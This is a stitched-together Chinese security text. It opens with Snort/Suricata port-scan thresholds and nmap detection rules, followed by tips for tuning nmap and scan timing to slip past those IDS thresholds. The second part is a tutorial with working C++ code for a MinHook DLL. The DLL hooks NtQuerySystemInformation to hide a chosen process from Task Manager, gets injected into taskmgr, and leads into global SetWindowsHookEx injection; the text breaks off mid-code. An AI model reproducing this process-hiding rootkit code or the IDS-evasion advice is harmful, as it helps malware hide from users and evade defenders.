scanned->u_port_count >= conf->u_port_count)
{
scanned->alerts = PS_ALERT_ONE_TO_ONE_FILTERED;
return 0;
}
}
}
}
return 0;
}
**sense_level high 的 many_to_one 扫描即 distributed 分布式扫描**
配置 `static PS_ALERT_CONF g_tcp_hi_dist_ps = {200,5,200,10};`
1. 比较`scanned->priority_count >= 5// conf->priority_count`
1. `scanned->u_ip_count >= 200 //conf->u_ip_count`
`&& scanned->u_port_count <= 10 //conf->u_port_count`
600 秒时间窗内 错误包>=5，不同连接ip数>=200，不同端口数<=10 即判断为分布式扫描
2. 比较`scanned->connection_count >= 200 //conf->connection_count`
1. `scanned->u_ip_count >= 200//conf->u_ip_count`
`&& scanned->u_port_count <= 10//conf->u_port_count`
600 秒时间窗内 活跃连接数>=200，不同连接ip数>=200，不同端口数<=10 即判断为分布式扫描
**sense_level high 的 one_to_many 扫描即portsweep**
配置 `static PS_ALERT_CONF g_tcp_hi_sweep = {30,3,3,10};`
必须有scanne的信息才能判断出portsweep
3. 比较`scanner->priority_count >= 3// conf->priority_count`
1. `scanner->u_ip_count >= 3 //conf->u_ip_count`
`&& scanner->u_port_count <= 10 //conf->u_port_count`
600 秒时间窗内 扫描源 错误包>=3，不同连接ip数>=3，不同端口数<=10 即判断为portsweep
4. 比较`scanner->connection_count >= 30 //conf->connection_count`
1. `scanner->u_ip_count >= 3//conf->u_ip_count`
`&& scanner->u_port_count <= 10//conf->u_port_count`
600 秒时间窗内 扫描源 活跃连接数>=30，不同连接ip数>=3，不同端口数<=10 即判断为portsweep
参考
> <https://onestraw.github.io/snort/sfportscan-addon-detect-portscan/>
## Suricata
suricata是一款开源高性能的入侵检测系统，并支持ips（入侵防御）与nsm（网络安全监控）模式，用来替代原有的snort入侵检测系统，完全兼容snort规则语法和支持lua脚本。
> <https://redmine.openinfosecfoundation.org/projects/suricata/wiki>
### 规则语法
兼容snort 规则
[开源规则库https://github.com/ptresearch/AttackDetection](https://github.com/ptresearch/AttackDetection)
### 端口扫描检测
Suricata 中没有类似sfPortscan的预处理器，检测端口扫描依靠规则实现。
emergingthreats 中关于nmap的rules
suricata emerging.rules\emerging-deleted.rules
337,163: #alert tcp any any -> $HOME_NET any (msg:"ET DELETED Pitbull IRCbotnet Commands"; flow:from_server,established; content:"PRIVMSG|20|"; pcre:"/PRIVMSG.*@(portscan|nmap|back|udpflood|tcpflood|httpflood|linuxhelp|rfi|system|milw0rm|logcleaner|sendmail|join|part|help)/i"; reference:url,en.wikipedia.org/wiki/IRC_bot; reference:url,doc.emergingthreats.net/2007625; classtype:trojan-activity; sid:2007625; rev:6; metadata:created_at 2010_07_30, updated_at 2010_07_30;)
789,93: #alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"ET DELETED EXE Using Suspicious IAT NtUnmapViewOfSection Possible Malware Process Hollowing"; flowbits:isset,ET.http.binary; flow:established,to_client; content:"NtUnmapViewOfSection"; nocase; fast_pattern:only; reference:url,blog.spiderlabs.com/2011/05/analyzing-malware-hollow-processes.html; reference:url,sans.org/reading_room/whitepapers/malicious/rss/_33649; classtype:bad-unknown; sid:2012817; rev:4; metadata:created_at 2011_05_18, updated_at 2011_05_18;)
789,219: #alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"ET DELETED EXE Using Suspicious IAT NtUnmapViewOfSection Possible Malware Process Hollowing"; flowbits:isset,ET.http.binary; flow:established,to_client; content:"NtUnmapViewOfSection"; nocase; fast_pattern:only; reference:url,blog.spiderlabs.com/2011/05/analyzing-malware-hollow-processes.html; reference:url,sans.org/reading_room/whitepapers/malicious/rss/_33649; classtype:bad-unknown; sid:2012817; rev:4; metadata:created_at 2011_05_18, updated_at 2011_05_18;)
suricata emerging.rules\emerging-scan.rules
65,61: #alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg:"ET SCAN NMAP -sS window 2048"; fragbits:!D; dsize:0; flags:S,12; ack:0; window:2048; threshold: type both, track by_dst, count 1, seconds 60; reference:url,doc.emergingthreats.net/2000537; classtype:attempted-recon; sid:2000537; rev:8; metadata:created_at 2010_07_30, updated_at 2010_07_30;)
67,60: #alert ip $EXTERNAL_NET any -> $HOME_NET any (msg:"ET SCAN NMAP -sO"; dsize:0; ip_proto:21; threshold: type both, track by_dst, count 1, seconds 60; reference:url,doc.emergingthreats.net/2000536; classtype:attempted-recon; sid:2000536; rev:7; metadata:created_at 2010_07_30, updated_at 2010_07_30;)
69,61: #alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg:"ET SCAN NMAP -sA (1)"; fragbits:!D; dsize:0; flags:A,12; window:1024; threshold: type both, track by_dst, count 1, seconds 60; reference:url,doc.emergingthreats.net/2000538; classtype:attempted-recon; sid:2000538; rev:8; metadata:created_at 2010_07_30, updated_at 2010_07_30;)
71,61: #alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg:"ET SCAN NMAP -sA (2)"; fragbits:!D; dsize:0; flags:A,12; window:3072; threshold: type both, track by_dst, count 1, seconds 60; reference:url,doc.emergingthreats.net/2000540; classtype:attempted-recon; sid:2000540; rev:8; metadata:created_at 2010_07_30, updated_at 2010_07_30;)
73,61: #alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg:"ET SCAN NMAP -f -sF"; fragbits:!M; dsize:0; flags:F,12; ack:0; window:2048; threshold: type both, track by_dst, count 1, seconds 60; reference:url,doc.emergingthreats.net/2000543; classtype:attempted-recon; sid:2000543; rev:7; metadata:created_at 2010_07_30, updated_at 2010_07_30;)
75,61: #alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg:"ET SCAN NMAP -f -sN"; fragbits:!M; dsize:0; flags:0,12; ack:0; window:2048; threshold: type both, track by_dst, count 1, seconds 60; reference:url,doc.emergingthreats.net/2000544; classtype:attempted-recon; sid:2000544; rev:7; metadata:created_at 2010_07_30, updated_at 2010_07_30;)
77,61: #alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg:"ET SCAN NMAP -f -sX"; fragbits:!M; dsize:0; flags:FPU,12; ack:0; window:2048; threshold: type both, track by_dst, count 1, seconds 60; reference:url,doc.emergingthreats.net/2000546; classtype:attempted-recon; sid:2000546; rev:7; metadata:created_at 2010_07_30, updated_at 2010_07_30;)
213,68: #alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"GPL SCAN PING NMAP"; dsize:0; itype:8; reference:arachnids,162; classtype:attempted-recon; sid:2100469; rev:4; metadata:created_at 2010_09_23, updated_at 2010_09_23;)
247,65: alert http $EXTERNAL_NET any -> $HTTP_SERVERS any (msg:"ET SCAN NMAP SQL Spider Scan"; flow:established,to_server; content:"GET"; http_method; content:" OR sqlspider"; http_uri; reference:url,nmap.org/nsedoc/scripts/sql-injection.html; classtype:web-application-attack; sid:2013778; rev:2; metadata:created_at 2011_10_19, updated_at 2011_10_19;)
247,193: alert http $EXTERNAL_NET any -> $HTTP_SERVERS any (msg:"ET SCAN NMAP SQL Spider Scan"; flow:established,to_server; content:"GET"; http_method; content:" OR sqlspider"; http_uri; reference:url,nmap.org/nsedoc/scripts/sql-injection.html; classtype:web-application-attack; sid:2013778; rev:2; metadata:created_at 2011_10_19, updated_at 2011_10_19;)
323,62: #alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg:"GPL SCAN nmap TCP"; ack:0; flags:A,12; flow:stateless; reference:arachnids,28; classtype:attempted-recon; sid:2100628; rev:8; metadata:created_at 2010_09_23, updated_at 2010_09_23;)
325,62: #alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg:"GPL SCAN nmap XMAS"; flow:stateless; flags:FPU,12; reference:arachnids,30; classtype:attempted-recon; sid:2101228; rev:8; metadata:created_at 2010_09_23, updated_at 2010_09_23;)
327,62: #alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg:"GPL SCAN nmap fingerprint attempt"; flags:SFPU; flow:stateless; reference:arachnids,05; classtype:attempted-recon; sid:2100629; rev:7; metadata:created_at 2010_09_23, updated_at 2010_09_23;)
361,61: alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"ET SCAN Nmap Scripting Engine User-Agent Detected (Nmap Scripting Engine)"; flow:to_server,established; content:"Mozilla/5.0 (compatible|3b| Nmap Scripting Engine"; nocase; http_user_agent; depth:46; reference:url,doc.emergingthreats.net/2009358; classtype:web-application-attack; sid:2009358; rev:5; metadata:created_at 2010_07_30, updated_at 2010_07_30;)
361,104: alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"ET SCAN Nmap Scripting Engine User-Agent Detected (Nmap Scripting Engine)"; flow:to_server,established; content:"Mozilla/5.0 (compatible|3b| Nmap Scripting Engine"; nocase; http_user_agent; depth:46; reference:url,doc.emergingthreats.net/2009358; classtype:web-application-attack; sid:2009358; rev:5; metadata:created_at 2010_07_30, updated_at 2010_07_30;)
361,194: alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"ET SCAN Nmap Scripting Engine User-Agent Detected (Nmap Scripting Engine)"; flow:to_server,established; content:"Mozilla/5.0 (compatible|3b| Nmap Scripting Engine"; nocase; http_user_agent; depth:46; reference:url,doc.emergingthreats.net/2009358; classtype:web-application-attack; sid:2009358; rev:5; metadata:created_at 2010_07_30, updated_at 2010_07_30;)
415,61: #alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg:"ET SCAN NMAP -sS window 1024"; fragbits:!D; dsize:0; flags:S,12; ack:0; window:1024; threshold: type both, track by_dst, count 1, seconds 60; reference:url,doc.emergingthreats.net/2009582; classtype:attempted-recon; sid:2009582; rev:3; metadata:created_at 2010_07_30, updated_at 2010_07_30;)
417,61: #alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg:"ET SCAN NMAP -sS window 3072"; fragbits:!D; dsize:0; flags:S,12; ack:0; window:3072; threshold: type both, track by_dst, count 1, seconds 60; reference:url,doc.emergingthreats.net/2009583; classtype:attempted-recon; sid:2009583; rev:3; metadata:created_at 2010_07_30, updated_at 2010_07_30;)
419,61: #alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg:"ET SCAN NMAP -sS window 4096"; fragbits:!D; dsize:0; flags:S,12; ack:0; window:4096; threshold: type both, track by_dst, count 1, seconds 60; reference:url,doc.emergingthreats.net/2009584; classtype:attempted-recon; sid:2009584; rev:2; metadata:created_at 2010_07_30, updated_at 2010_07_30;)
421,68: alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"ET SCAN NMAP SIP Version Detect OPTIONS Scan"; flow:established,to_server; content:"OPTIONS sip|3A|nm SIP/"; depth:19; classtype:attempted-recon; sid:2018317; rev:1; metadata:created_at 2014_03_25, updated_at 2014_03_25;)
423,66: alert tcp $EXTERNAL_NET any -> $HOME_NET 5060:5061 (msg:"ET SCAN NMAP SIP Version Detection Script Activity"; content:"Via|3A| SIP/2.0/TCP nm"; content:"From|3A| <sip|3A|nm@nm"; within:150; fast_pattern; classtype:attempted-recon; sid:2018318; rev:1; metadata:created_at 2014_03_25, updated_at 2014_03_25;)
427,61: #alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg:"ET SCAN NMAP -f -sV"; fragbits:!M; dsize:0; flags:S,12; ack:0; window:2048; threshold: type both, track by_dst, count 1, seconds 60; reference:url,doc.emergingthreats.net/2000545; classtype:attempted-recon; sid:2000545; rev:8; metadata:created_at 2010_07_30, updated_at 2010_07_30;)
429,66: alert udp $EXTERNAL_NET 10000: -> $HOME_NET 10000: (msg:"ET SCAN NMAP OS Detection Probe"; dsize:300; content:"CCCCCCCCCCCCCCCCCCCC"; fast_pattern:only; content:"CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC"; depth:255; content:"CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC"; within:45; classtype:attempted-recon; sid:2018489; rev:3; metadata:created_at 2014_05_20, updated_at 2014_05_20;)
449,61: alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"ET SCAN Nmap Scripting Engine User-Agent Detected (Nmap NSE)"; flow:to_server,established; content:"Nmap NSE"; http_user_agent; reference:url,doc.emergingthreats.net/2009359; classtype:web-application-attack; sid:2009359; rev:4; metadata:created_at 2010_07_30, updated_at 2010_07_30;)
449,104: alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"ET SCAN Nmap Scripting Engine User-Agent Detected (Nmap NSE)"; flow:to_server,established; content:"Nmap NSE"; http_user_agent; reference:url,doc.emergingthreats.net/2009359; classtype:web-application-attack; sid:2009359; rev:4; metadata:created_at 2010_07_30, updated_at 2010_07_30;)
449,153: alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"ET SCAN Nmap Scripting Engine User-Agent Detected (Nmap NSE)"; flow:to_server,established; content:"Nmap NSE"; http_user_agent; reference:url,doc.emergingthreats.net/2009359; classtype:web-application-attack; sid:2009359; rev:4; metadata:created_at 2010_07_30, updated_at 2010_07_30;)
507,50: alert tcp any any -> $HOME_NET any (msg:"ET SCAN Nmap NSE Heartbleed Request"; flow:established,to_server; content:"|18 03|"; depth:2; byte_test:1,<,4,2; content:"|01|"; offset:5; depth:1; byte_test:2,>,2,3; byte_test:2,>,200,6; content:"|40 00|Nmap ssl-heartbleed"; fast_pattern:2,19; classtype:attempted-recon; sid:2021023; rev:1; metadata:created_at 2015_04_28, updated_at 2015_04_28;)
507,246: alert tcp any any -> $HOME_NET any (msg:"ET SCAN Nmap NSE Heartbleed Request"; flow:established,to_server; content:"|18 03|"; depth:2; byte_test:1,<,4,2; content:"|01|"; offset:5; depth:1; byte_test:2,>,2,3; byte_test:2,>,200,6; content:"|40 00|Nmap ssl-heartbleed"; fast_pattern:2,19; classtype:attempted-recon; sid:2021023; rev:1; metadata:created_at 2015_04_28, updated_at 2015_04_28;)
509,50: alert tcp $HOME_NET any -> any any (msg:"ET SCAN Nmap NSE Heartbleed Response"; flow:established,from_server; content:"|18 03|"; depth:2; byte_test:1,<,4,2; byte_test:2,>,200,3; content:"|40 00|Nmap ssl-heartbleed"; fast_pattern:2,19; classtype:attempted-recon; sid:2021024; rev:1; metadata:created_at 2015_04_28, updated_at 2015_04_28;)
509,195: alert tcp $HOME_NET any -> any any (msg:"ET SCAN Nmap NSE Heartbleed Response"; flow:established,from_server; content:"|18 03|"; depth:2; byte_test:1,<,4,2; byte_test:2,>,200,3; content:"|40 00|Nmap ssl-heartbleed"; fast_pattern:2,19; classtype:attempted-recon; sid:2021024; rev:1; metadata:created_at 2015_04_28, updated_at 2015_04_28;)
587,60: alert http $HOME_NET any -> any any (msg:"ET SCAN Possible Nmap User-Agent Observed"; flow:to_server,established; content:"|20|Nmap"; http_user_agent; fast_pattern; metadata: former_category SCAN; classtype:web-application-attack; sid:2024364; rev:3; metadata:affected_product Any, attack_target Client_and_Server, deployment Perimeter, signature_severity Audit, created_at 2017_06_08, performance_impact Low, updated_at 2017_06_13;)
587,128: alert http $HOME_NET any -> any any (msg:"ET SCAN Possible Nmap User-Agent Observed"; flow:to_server,established; content:"|20|Nmap"; http_user_agent; fast_pattern; metadata: former_category SCAN; classtype:web-application-attack; sid:2024364; rev:3; metadata:affected_product Any, attack_target Client_and_Server, deployment Perimeter, signature_severity Audit, created_at 2017_06_08, performance_impact Low, updated_at 2017_06_13;)
**可以尝试修改下nmap中的特征，可以过部分ids检测。snort 的sfPortscan
尝试下时间对抗，提高间隔，防止触发阈值。600秒时间窗口，10个端口** | 社区文章 |
# Window向之全局Hook实现进程隐藏
## 0x0 前言
网上有不少文章都讲解了通过注入进程管理器实现进程隐藏的思路，笔者在前人的基础上，以萌新的视角对于如何实现更高级的全局Hook进行了一番学习，通过本文，读者学习到window的相关机制和一些奇妙功能(键盘记录、鼠标监控)的实现原理，深入的话，还可以与目标进行有趣的对抗。
## 0x1 实现方式
介绍下笔者学习到的几种实现方式:
1) 利用全局钩子SetWindowsHookEx
2) AppInit_DLLs注册表键值实现globalAPIhook
3) Hook系统进程从而监控进程创建(本文暂不介绍)
## 0x2 API Hook技术
本文倾向于面向萌新读者，主要介绍下如何快速实现API Hook技术。
故这里可以选择性无视底层实现的原理(这个对实现本文的最终目标意义不大)
> 好奇的小伙伴，可以查阅部分原理的说明:
> 1 <https://xz.aliyun.com/t/9166>
> 2 <https://www.codeproject.com/Articles/44326/MinHook-The-Minimalistic-x-x-> API-Hooking-Libra>
推荐一个可完美支持下x86 && x64架构的小型Hook库:
[minhook](https://github.com/TsudaKageyu/minhook)
关于这个库还是蛮有意思的，作者是个很有趣的人，自食其力。
### 0x2.1 Mhook安装
Window:
git clone https://github.com/microsoft/vcpkg
.\vcpkg\bootstrap-vcpkg.bat
.\vcpkg\vcpkg integrate install
.\vcpkg\vcpkg install minhook
虚拟机用win10，没有自带git的话,启动powershell,来下载
1. Invoke-WebRequest -Uri 'https://github.com/microsoft/vcpkg/archive/refs/heads/master.zip' -outFile vcpkg.zip
2. Expand-Archive -Path '.\vcpkg.zip' -DestinationPath '.\vcpkg'
3. cd .\vcpkg && bootstrap-vcpkg.bat
4. vcpkg.exe integrate install
5. vcpkg.exe instal minhook
6. vcpkg.exe install minhook:window-x64
### 0x2.2 Mhook上手
有时候想要上手一门东西，其实看文档就可以。（文档的作用恰恰在此)
那么还想要更快速上手呢? 看文档给出的Example
通过阅读:<https://www.codeproject.com/Articles/44326/MinHook-The-Minimalistic-x-x-API-Hooking-Libra>
尝试Hook `MessageBoxW()`
打开visual stdio 2019 新建个Console项目:
#include <Windows.h>
#include <stdio.h>
#include "MinHook.h"
#if defined _M_X64
#pragma comment(lib, "minhook.x64.lib")
#elif defined _M_IX86
#pragma comment(lib, "minhook.x86.lib")
#endif
// 定义一个指针类型
typedef int (WINAPI* MESSAGEBOXW)(HWND, LPCWSTR, LPCWSTR, UINT);
// 先创建一个保存原先MessageBoxW函数的指针
MESSAGEBOXW fpMessageBoxW = NULL;
// 替代MessageBoxW的Detour 函数
// 打的太累，直接复制:https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-messagebox
int WINAPI DetourMessageBoxW(HWND hWnd, LPCWSTR lpText, LPCWSTR lpCaption, UINT uType)
{
return fpMessageBoxW(hWnd, L"Hooked!", lpCaption, uType);
}
int wmain() {
// 初始化MinHook
if (MH_Initialize() != MH_OK) {
printf("%ws\n", L"初始化MinHook 失败!");
return 1;
}
// 创建一个处于关闭状态的 hook
if (MH_CreateHook(&MessageBoxW, &DetourMessageBoxW, reinterpret_cast<LPVOID*>(&fpMessageBoxW)) != MH_OK) {
printf("%ws\n", L"创建Hook 失败!");
return 1;
}
// 开启Hook的状态
if (MH_EnableHook(&MessageBoxW) != MH_OK) {
printf("%ws\n", L"开启Hook 失败!");
return 1;
}
// 检验Hook效果，期待返回文本值"Hooked"!
MessageBoxW(NULL, L"Not hooked ...", L"MinHook Sample", MB_OK);
// 关闭Hook状态
if (MH_DisableHook(&MessageBoxW) != MH_OK) {
printf("%ws\n", L"关闭Hook 失败!");
}
// 检验关闭Hook后的效果，正常返回
MessageBoxW(NULL, L"Not hooked...", L"MinHook Sample", MB_OK);
// 关闭MinHook
if (MH_Uninitialize() != MH_OK)
{
return 1;
}
return 0;
}
Hook后:
unHook 后
短短几行直观简洁的代码实现的效果还是很棒的。
代码还可以进行一层函数封装，这样可以避免每次都要添加`reinterpret_cast`进行类型转换。
template <typename T>
inline MH_STATUS MH_CreateHookEx(LPVOID pTarget, LPVOID pDetour, T** ppOriginal)
{
return MH_CreateHook(pTarget, pDetour, reinterpret_cast<LPVOID*>(ppOriginal));
}
template <typename T>
inline MH_STATUS MH_CreateHookApiEx(
LPCWSTR pszModule, LPCSTR pszProcName, LPVOID pDetour, T** ppOriginal)
{
return MH_CreateHookApi(
pszModule, pszProcName, pDetour, reinterpret_cast<LPVOID*>(ppOriginal));
}
调用的话就可以变成:
if (MH_CreateHookApiEx(L"user32", "MessageBoxW", &DetourMessageBoxW, &fpMessageBoxW) != MH_OK) {
printf("%ws\n", L"创建Hook失败!");
return 1;
}
// or
if (MH_CreateHookEx(&MessageBoxW, &DetourMessageBoxW, &fpMessageBoxW) != MH_OK) {
printf("%ws\n", L"创建Hook失败!");
return 1;
}
## 0x3 隐藏进程
### 0x3.1 原理简析
系统位置:
`C:\Windows\System32\tasklist.exe`
`C:\Windows\System32\Taskmgr.exe`
分别用IDA进行载入:
1) tasklist.exe
先查看导出表，发现并没有进行系统查询的API。
跟入口:`wmain`->`CTaskList::Show`(带参数)
可以看到tasklist的流程是通过一个指针函数枚举出所有进程id。
然后`SetStoreAppInfo`->`NtQueryInformationProcess`查询指定进程信息。
关于这个枚举pid的进程函数的具体实现，因为涉及到一些笔者知识盲点，故在此作罢。
> 查看这个程序文档，还可以发现有趣的是，这个还支持远程枚举，挺好玩的一个原生域横向小技巧。
>
>
2) Taskmgr.exe
导出表:
查看相关引用，发现`WdcMemoryMonitor::Query`->`WdcNtQuerySystemSuperfetchInformation`->`NtQuerySystemInformation`
这里的话，tasklist.exe是否通过其他手段调用NTDLL，或者是做了一些保护，尚不得知，而且tasklist.exe一般是通过即时调用，整个过程来不及注入DLL，故这里笔者采用大部分通杀的方法直接Hook
`NtQuerySystemInformation`。
* * *
下面是调试得到的一些编程小技巧，下面代码实现会有使用到:
编码的时候有些未文档化的函数，可以通过查看结构来补全或者使用这个网站[结构体查询网站](http://terminus.rewolf.pl/terminus/)
windbg加载符号表:
.sympath srv*c:\Symbols*https://msdl.microsoft.com/download/symbols
加载完成之后重新载入
.reload
查看结构
dt _SYSTEM_PROCESS_INFORMATION
### 0x3.2 Hook实现
vcpkg下载编译的在DLL初始化中存在问题，这里笔者改为官方编译好的lib:
启动PowerShell:
Invoke-WebRequest -uri https://github.com/TsudaKageyu/minhook/releases/download/v1.3.3/MinHook_133_lib.zip -outFile MinHook_all.zip
Expand-Archive -Path MinHook_all.zip -destinationPath ./MinHook_all
配置好依赖的路径和附加包含目录，记得选择所有平台，这样可全局覆盖。
C代码实现:
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include <winternl.h>
#include <MinHook.h>
#if defined _M_X64
#pragma comment(lib, "libMinHook-x64-v140-mt.lib")
#elif defined _M_IX86
#pragma comment(lib, "libMinHook-x86-v140-mt.lib")
#endif
// 摘取文档核心的几个偏移即可,新增个指针方便类型转换
// 原类型不支持类型转换
typedef struct _MY_SYSTEM_PROCESS_INFORMATION
{
ULONG NextEntryOffset;
ULONG NumberOfThreads;
BYTE Reserved1[48];
UNICODE_STRING ImageName;
KPRIORITY BasePriority;
HANDLE UniqueProcessId;
} _MY_SYSTEM_PROCESS_INFORMATION, * MY_SYSTEM_PROCESS_INFORMATION;
// 定义一个指针函数类型
typedef NTSTATUS(WINAPI* myNtQuerySystemInformation)(
__in SYSTEM_INFORMATION_CLASS SystemInformationClass,
__inout PVOID SystemInformation,
__in ULONG SystemInformationLength,
__out_opt PULONG ReturnLength
);
// 定义一个存放原函数的指针
myNtQuerySystemInformation fpNtQuerySystemInformation = NULL;
// 定义一个Hook函数,隐藏指定进程名程序
NTSTATUS WINAPI HookedNtQuerySystemInformation(
__in SYSTEM_INFORMATION_CLASS SystemInformationClass,
__inout PVOID SystemInformation,
__in ULONG SystemInformationLength,
__out_opt PULONG ReturnLength
) {
// 先正常调用原函数，获取返回值
NTSTATUS status = fpNtQuerySystemInformation(SystemInformationClass,
SystemInformation,
SystemInformationLength,
ReturnLength);
// 判断是否是进程信息和调用是否成功
if (SystemInformationClass == SystemProcessInformation && NT_SUCCESS(status)) {
MY_SYSTEM_PROCESS_INFORMATION pCurrent = NULL;
MY_SYSTEM_PROCESS_INFORMATION pNext = (MY_SYSTEM_PROCESS_INFORMATION)SystemInformation;
// 单链表循环
do
{
pCurrent = pNext;
pNext = (MY_SYSTEM_PROCESS_INFORMATION)((PUCHAR)pCurrent + pCurrent->NextEntryOffset);
if (!wcsncmp(pNext->ImageName.Buffer, L"notepad.exe", pNext->ImageName.Length))
{
//MessageBoxW(NULL, L"Hook notepad.exe ok!", L"Title", MB_OK);
if (0 == pNext->NextEntryOffset)
{
pCurrent->NextEntryOffset = 0;
}
else
{
pCurrent->NextEntryOffset += pNext->NextEntryOffset;
}
// 这里能够跳过notepad.exe的指针
pNext = pCurrent;
}
} while (pNext->NextEntryOffset != 0);
}
// 正常返回
return status;
}
// 封装MinHook的使用
template <typename T>
inline MH_STATUS MH_CreateHookEx(LPVOID pTarget, LPVOID pDetour, T** ppOriginal)
{
return MH_CreateHook(pTarget, pDetour, reinterpret_cast<LPVOID*>(ppOriginal));
}
template <typename T>
inline MH_STATUS MH_CreateHookApiEx(
LPCWSTR pszModule, LPCSTR pszProcName, LPVOID pDetour, T** ppOriginal)
{
return MH_CreateHookApi(
pszModule, pszProcName, pDetour, reinterpret_cast<LPVOID*>(ppOriginal));
}
// 封装Hook函数
BOOL Hook() {
// 初始化MinHook
MH_Initialize();
// hook ntdll函数中的NtQuerySystemInformation
MH_CreateHookApiEx(L"ntdll", "NtQuerySystemInformation", HookedNtQuerySystemInformation, &fpNtQuerySystemInformation);
MH_EnableHook(MH_ALL_HOOKS);
return true;
}
BOOL unHook() {
MH_DisableHook(MH_ALL_HOOKS);
MH_Uninitialize();
return true;
}
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
MessageBoxW(NULL, L"Hook ok!", L"Title", MB_OK);
Hook();
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
其中关键的隐藏步骤代码，实现了控制进程的链表指针原本指向我们hook的进程的指针A，指向了Hook的进程指向的下一个进程指针B，然后`pNext=pCurrent`，将整体偏移到指针B的地址中去，从而在链结构中删去了需要Hook的进程，但是这个方法有一个弊端，如果枚举的时候直接根据地址偏移去找的话，还是可以找到的。
### 0x3.3 注入任务管理器
网上看到不少Hook的文章，喜欢在`case DLL_PROCESS_DETACH:`
添加`unhook`，用于人为使用`FreeLibrary`来卸载注入的DLL时，能够修正原来的进程空间的tramponline的改动的代码。
但是经过笔者的多次测试，任务管理器自身就会不断触发DLL卸载的行为，导致如果加了这一行代码，那么就没办法实现隐藏进程的效果。如果不加的话，那么如果主动去卸载该DLL的话，那么会导致任务管理器因为寻址错误异常退出。
但是神奇的是，只会加载一次，然后切换任务管理器其他功能时就会触发DLL卸载行为。
那么为什么会这样呢 ？ 结合上面的情况和代码进行分析，可以发现，任务管理器会启动子线程去进行动态加载，把代码修改为如下，即可避免这个问题。
每个情况，加一个`break;`即可防止向下执行。
**Hook notepad.exe 效果展示**
使用一个简单的远程线程注入exe，代码参考:<https://xz.aliyun.com/t/10191#toc-3>
然后卸载的时候
单击确定之后，记事本又回来了。
## 0x4 实现全局钩子&&全局注入
当然既然实现任务管理器Hook，那么PrcocessHacker可以不？ procmon64可以不？
从原理出发的话，如果他们调用了`NtQuerySystemInformation`,那么就是可以的，但具体步骤比较繁琐，每次都要手动获取任务管理器进程和其他相关查看进程的程序的pid，然后手工注入隐藏的DLL，这未免显得太麻烦了，那么有没有只需要后台静默运行一个exe程序即可？
答案是可以的，但是有其局限性，下面笔者展开来谈谈两个实现思路。
### 0x4.1 全局钩子SetWindowsHook
文档:<https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-setwindowshookexw>
用法:
HHOOK SetWindowsHookExW( int idHook, HOOKPROC lpfn, HINSTANCE hmod, DWORD dwThreadId );
> Installs an application-defined hook procedure into a hook chain. You would
> install a hook procedure to monitor the system for certain types of events.
> These events are associated either with a specific thread or with all
> threads in the same desktop as the calling thread.
> 将应用程序定义的挂钩过程安装到挂钩链中。您将安装一个钩子过程来监视系统的某些类型事件。这些事件与特定线程或与调用线程位于同一桌面中的 **所有线程**
> 相关联。
>
> Window设计：Windows使用消息传递模型。 操作系统通过向应用程序窗口传递消息来与应用程序窗口通信。 消息只是一个指定特定事件的数值代码。
> 例如，如果用户按下鼠标左键，窗口将收到一条消息代码的消息。
下面是对钩子的原理简介:
>
> 为了能够让DLL注入所有的进程中，程序设置WH_GETMESSAGE消息的全局钩子。因为WH_GETMESSAGE类型的钩子会监视消息队列，由于Windows系统是基于消息驱动的，所以所有进程都会有自己的一个消息队列，都会加载WH_GETMESSAGE类型的全局钩子DLL。
> ----《Windows黑客编程技术详解》
**代码实现**
1) 编写信息处理回调函数
<https://docs.microsoft.com/en-us/windows/win32/api/winuser/nc-winuser-hookproc>
里面说明这个是可以在application定义或者库定义的，这个文档其实不是很明朗，我自己测试的时候，发现这个要是想全部程序都注入的话，要在DLL中编写这个函数，并且进行导出。
extern "C" LRESULT __declspec(dllexport)GetMsgProc(
int code,
WPARAM wParam,
LPARAM lParam);
// 钩子回调函数
LRESULT GetMsgProc(
int code,
WPARAM wParam,
LPARAM lParam)
{
return ::CallNextHookEx(NULL, code, wParam, lParam);
}
2) 编写SetWindowHook主体代码
这个代码流程就比较简单，照着文档写就可以。
// GlobalSetWindowHook.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//
#include <Windows.h>
#include <stdio.h>
#include <tchar.h>
int _tmain(int argc, _TCHAR* argv[])
{
HMODULE hDll = LoadLibraryW(TEXT("C:\\Users\\XQ17\\source\\repos\\DLLGlOBALTEST\\x64\\Release\\DLLGlOBALTEST.dll"));
if (hDll == NULL) {
